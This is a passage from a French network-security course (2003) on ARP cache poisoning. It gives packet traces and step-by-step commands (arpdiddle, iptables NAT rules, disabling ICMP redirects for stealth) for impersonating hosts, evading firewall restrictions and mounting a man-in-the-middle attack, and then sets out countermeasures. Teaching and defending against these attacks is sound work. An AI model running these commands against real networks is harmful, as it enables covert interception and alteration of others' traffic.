00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.2 -> 192.168.0.1 TCP 1027 > 21 [SYN]

/* Le serveur accepte la connexion, croyant dialoguer avec 192.168.0.2. La trame nous est destinée physiquement */
00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
192.168.0.1 -> 192.168.0.2 TCP 21 > 1027 [SYN, ACK]

00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.2 -> 192.168.0.1 TCP 1027 > 21 [ACK]

/* Le serveur envoie son invite */
00:30:84:9d:e4:c5 -> 00:50:ba:c5:6a:2a
192.168.0.1 -> 192.168.0.2 TCP 21 > 1027 [PSH, ACK]
       Data: Bonjour, je suis 192.168.0.1 et vous êtes forcément 192.168.0.2 !

00:50:ba:c5:6a:2a -> 00:30:84:9d:e4:c5
192.168.0.2 -> 192.168.0.1 TCP 1027 > 21 [ACK]

Corruption du cache d'un routeur

Comme dans le cas précédent, la machine bernée peut être un routeur ou un firewall. Dans ce cas, la corruption de son cache nous permet de sortir du réseau local (vers Internet par exemple) en utilisant l'identité d'une autre machine. Cette manipulation peut être très utile dans le cas où le pare-feu autorise seulement un petit nombre de machines à émettre des paquets vers l'extérieur du réseau.

Il ne faut pas oublier que pendant toute la durée de la manipulation, la machine dont on vole l'identité est elle aussi susceptible d'émettre des trames à destination du routeur.
Il faut alors faire un tri des paquets renvoyés par le firewall : ceux qui correspondent à une connexion que nous avons initialisée (via la translation d'adresse source) seront détectés par iptables, modifiés puis passés à la pile de protocoles de notre machine. Les autres paquets seront alors reroutés vers la machine usurpée.
Il faut pour cela activer le routage sur notre machine Linux :

[192.168.0.3] echo 1 > /proc/sys/net/ipv4/ip_forward

 

Cependant, comme notre machine émet ces paquets sur la même interface (c'est à dire le même réseau) que celle par laquelle ils sont arrivés, elle va aussi émettre des redirections ICMP pour indiquer à l'usurpé la bonne passerelle (c'est à dire le routeur). Ces redirections pouvant éveiller l'attention d'une personne ou d'un logiciel surveillant le réseau, il est préférable de les désactiver pour garder sa furtivité :

[192.168.0.3] iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP

ou bien encore :

[192.168.0.3] echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects


1.3.3 L'homme du milieu (Man in the Middle)

L'attaque MiM (man in the Middle) est une redirection complète d'une connexion entre deux machines. Chacun des deux interlocuteurs croit dialoguer directement avec l'autre, mais en réalité il adresse ses trames à une troisième machine qui joue le rôle d'un routeur et renvoie les paquets vers le véritable destinataire.

La première étape de la mise en place d'une telle redirection est extrêmement simple, puisqu'elle est identique aux cas étudiés précédemment . à savoir la mise en place d'une corruption du cache ARP des deux machines :

[192.168.0.3] ./arpdiddle -m request 192.168.0.1 192.168.0.2
[192.168.0.3] ./arpdiddle -m request 192.168.0.2 192.168.0.1


La redirection effectuée, il faut s'occuper des paquets que nous envoient les deux machines dupées.

1.3.3.1 Reroutage sans modification des données

La première possibilité est de laisser s'en charger le module de routage de notre machine. Cette opération s'effectue simplement sous Linux, en activant le routage :

[192.168.0.3] echo 1 > /proc/sys/net/ipv4/ip_forward

La principale limitation est que nous n'avons aucun accès aux données échangées, et par conséquent, il nous est impossible de les modifier. La trace suivante confirme l'activation du routage sur la machine de l'attaquant : après l'attaque, on se connecte, à partir de 192.168.0.2, sur le serveur FTP de 192.168.0.1

/* Attaque ARP : dans le cache de chaque machine, on associe l'adresse IP de l'autre machine avec notre adresse MAC */
00:a0:cc:d4:e9:ee -> 00:a0:24:d1:96:10
ARP Who has 192.168.0.1? Tell 194.214.10. 2

00:a0:cc:d4:e9:ee -> 00:a0:24:d1:95:d0
ARP Who has 192.168.0.2? Tell 192.168.0.1

/* Sur 192.168.0.2, on lance la connexion sur le serveur FTP de 192.168.0.1. La trame est adressée physiquement à la machine de l'attaquant, chargée de router le paquet. */
00:a0:24:d1:95:d0 -> 00:a0:cc:d4:e9:ee
192.168.0.2 -> 192.168.0.1 TCP 1430 > 21 [SYN]

/* Avant de router le paquet, la machine de l'attaquant émet une redirection ICMP à destination du client, pour lui indiquer que l'hôte qu'il cherche à atteindre se trouve en fait sur le même réseau que lui */
192.168.0.3 -> 192.168.0.2 ICMP Redirect [Gateway : 192.168.0.1]

/* La machine de l'attaquant a routé le paquet à destination du serveur FTP : l'adresse IP source est celle du client (192.168.0.2), mais l'adresse MAC source est celle de l'attaquant. */
00:a0:cc:d4:e9:ee -> 00:a0:24:d1:96:10
192.168.0.2 -> 192.168.0.1 TCP 1430 > 21 [SYN]

/* La réponse du serveur FTP est aussi adressée à notre carte réseau */
00:a0:24:d1:96:10 -> 00:a0:cc:d4:e9:ee
192.168.0.1 -> 192.168.0.2 TCP 21 > 1430 [SYN, ACK]

192.168.0.3 -> 192.168.0.1 ICMP Redirect [Gateway : 192.168.0.2]

00:a0:cc:d4:e9:ee -> 00:a0:24:d1:95:d0
192.168.0.1 -> 192.168.0.2 TCP 21 > 1430 [SYN, ACK]

00:a0:24:d1:95:d0 -> 00:a0:cc:d4:e9:ee
192.168.0.2 -> 192.168.0.1 TCP 1430 > 21 [ACK]

00:a0:cc:d4:e9:ee -> 00:a0:24:d1:96:10
192.168.0.2 -> 192.168.0.1 TCP 1430 > 21 [ACK]

00:a0:24:d1:96:10 -> 00:a0:cc:d4:e9:ee
192.168.0.1 -> 192.168.0.2 FTP Response: 220 Brice FTPd 1.0

192.168.0.3 -> 192.168.0.1 ICMP Redirect [Gateway : 192.168.0.2]

00:a0:cc:d4:e9:ee -> 00:a0:24:d1:95:d0
192.168.0.1 -> 192.168.0.2 FTP Response: 220 Brice FTPd 1.0

La machine de l'attaquant route bien les paquets entres les deux machines. Cependant, il envoie des redirections ICMP à destination de l'émetteur pour lui indiquer que son interlocuteur se trouve sur le même réseau que lui, et que par conséquent, il n'a pas besoin de passer par une passerelle.

Nous devons donc empêcher l'envoi de ces messages d'erreur qui, même s'ils ne sont visiblement pas pris en compte par le destinataire, nuisent tout de même à notre furtivité :

[192.168.0.3] iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP

La figure 1.8 illustre le travail de routage réalisé par la machine de l'attaquant :

Remarque
En utilisant une attaque de type Man in the Middle, nous mettons fin à la légende selon laquelle on ne peut pas sniffer sur un réseau commuté. En effet, le cas précédent aurait tout aussi bien fonctionné si les trois machines s'étaient trouvées sur un port différent d'un switch. En forçant les deux machines à passer par nous pour communiquer ensemble, nous faisons passer tous leurs flux sur notre segment Ethernet. Il ne reste plus qu'à lancer un analyseur (Ethereal) pour espionner leurs échanges.


1.3.3.2 Reroutage avec modification de contenu

Si nous voulons modifier les données, il faut faire en sorte que les paquets remontent la pile de protocoles de notre OS jusqu'à la couche utilisateur (sockets). Une telle opération peut être effectuée en combinant les deux techniques présentées précédemment (mystification d'un serveur et mystification d'un client).

D'un côté, une des deux victimes va vouloir initialiser une connexion avec la seconde. Sans le savoir, elle va en fait nous adresser ces paquets. A ses yeux, nous sommes donc un serveur. Or nous savons comment faire remonter ce type de flux, normalement destiné à un tiers, vers notre propre couche utilisateur.

Pour rappel, la commande suivante le permet :

[192.168.0.3] iptables -t nat -A PREROUTING -p tcp -s 192.168.0.1 -d 192.168.0.2 --dport x -j REDIRECT -to-ports x

La demande de connexion est donc redirigée vers notre propre pile de protocoles, qui se charge d'accepter la connexion, puis en informe un proxy lancé par nos soins et écoutant sur le port local x.

Le proxy ayant détecté une nouvelle connexion, il initialise automatiquement une connexion avec la seconde victime, en se faisant passer pour la première. De ce côté, nous sommes donc un client aux yeux de la seconde machine.
Pour mémoire, l'usurpation de l'identité d'un client est réalisée par la commande :

[192.168.0.3] iptables -t nat -A POSTROUTING -p tcp -d 192.168.0.2 --dport x -j SNAT -to-source 192.168.0.1

La redirection est alors complète : le proxy reçoit des données en provenance d'une des deux machines (concrètement, il attend des données sur les deux sockets qu'il vient d'initialiser), et les envoie automatiquement à la seconde machine. Bien entendu, le proxy est tout à fait capable de modifier les données avant de les envoyer, afin de fournir aux machines des réponses falsifiées. L'introduction de nouvelles données à tout moment, ou l'évincement d'un des deux interlocuteurs est aussi envisageable et ne pose aucun problème.

1.4 Parades contre la corruption de cache ARP

1.4.1 Cache ARP statique

La première possibilité pour empêcher quiconque de modifier le cache ARP est de définir statiquement l'association adresse MAC / adresse IP. L'ajout d'une entrée dans la table est réalisé par la commande suivante :

[192.168.0.1] arp -s inet_addr eth_addr

inet_addr indique l'adresse IP et eth_addr l'adresse MAC à associer.

Cette méthode peut se révéler fastidieuse dans le cas d'un réseau composé de centaines de machines.

De plus, nos tests sous Windows NT ont montré qu'une entrée statique peut toujours être modifiée par une attaque ARP. Le préjudice est d'autant plus grave que dans ce cas, l'entrée n'expire jamais, contrairement aux entrées dynamiques : par conséquent, la machine empoisonnée conservera cette fausse indication jusqu'à ce qu'un administrateur découvre la manipulation et y remédie.

1.4.2 Patch du module ARP

Dans la section 1.2.2 nous avons exposé deux méthodes permettant de corrompre le cache ARP : l'envoi de requêtes falsifiées d'une part, de fausses réponses d'autre part.
Dans le cas des réponses ARP, la corruption est rendue réalisable par une erreur d'implémentation qui permet au système d'exploitation de prendre en compte une réponse même s'il n'a jamais envoyé de requête auparavant.
Il est donc facile de remédier à ce problème, en modifiant le système de façon à ce qu'il n'accepte que les réponses correspondant à des requêtes précédemment émises. C'est pourquoi Windows XP et Linux ne sont plus sensibles à cette attaque.

Dans le cas des requêtes mystifiées, nous avons là encore utilisé une astuce basée sur le fait que le module ARP ne fait pas de vérification de cohérence entre les adresses de l'entête Ethernet et les données du paquet ARP. Il suffirait donc de le patcher, de façon à ce qu'il refuse toute requête qui n'est pas transportée par une trame Ethernet en mode diffusion.

1.4.3 Chien de garde sur le réseau

Enfin, on peut imaginer une machine chargée de surveiller le réseau, et qui avertit l'administrateur si elle détecte toute activité suspecte. Celle-ci pourrait par exemple construire sa propre table ARP en analysant tous les paquets ARP. Après cette phase d'initialisation, elle serait chargée de surveiller les échanges, et détecter les paquets ARP dont les informations ne correspondent pas aux informations emmagasinées.

Chapitre 2 : Vol de connexion TCP

Mars 2003 - Romain & Brice

Livre:

WatchFire


Vidéo:
Cours Sécurité:
  • Définitions Niveau : Débutant (Français)
    tout les mots que vous voulez savoir mais que vous n'osez demander.
  • Histoire Niveau : Débutant (Français)
    un peu d'histoire pour ceux qui aiment
  • Cours Metasploit Niveau : Intermediaire (Français)
    Le Framework Metasploit est un environnement complet pour écrire, tester et utiliser des exploits. Cet environnement fournit une plateforme solide pour les tests d'intrusion, le développement de shellcodes, et la recherche de vulnérabilités. La majorité du Framework est composée de code orienté objet Perl, avec des composants optionnels écrits en C, assembleur, et Python.
  • hackers_guide Niveau : Avancé (Anglais)
    Se placer du point de vue de l'attaquant pour améliorer sa propre sécurité. - Telecharger le rar: hackers_guide.rar
  • Reseaux de neuronnes Niveau : Avancé (Français)
    Les objectifs, l'histoire, les applications. Le modèle d'un neurone, fonction de transfert, architecture de réseau. Les outils mathématiques : algère linéaire, espace vectoriel, produit scalair, norme, orthogonalité, transformation linéaire. Les apprentissages : supervisé, non-supervisé et autres. Le perceptron multicouches, les nuées dynamiques (K-means, fuzzy k-means...). Les réseaux de Kohonen. Reseaux GNG, Architecture ART. ACP et apprentissage hebbien. - Telecharger le zip: RNF
  • Crackage et durcissement de mots de passesNiveau : Débutant (Français)
  • Securiser un forum PhpBBNiveau : intermediaire (Français)
Tutoriaux
Tutoriaux Failles Web
Divers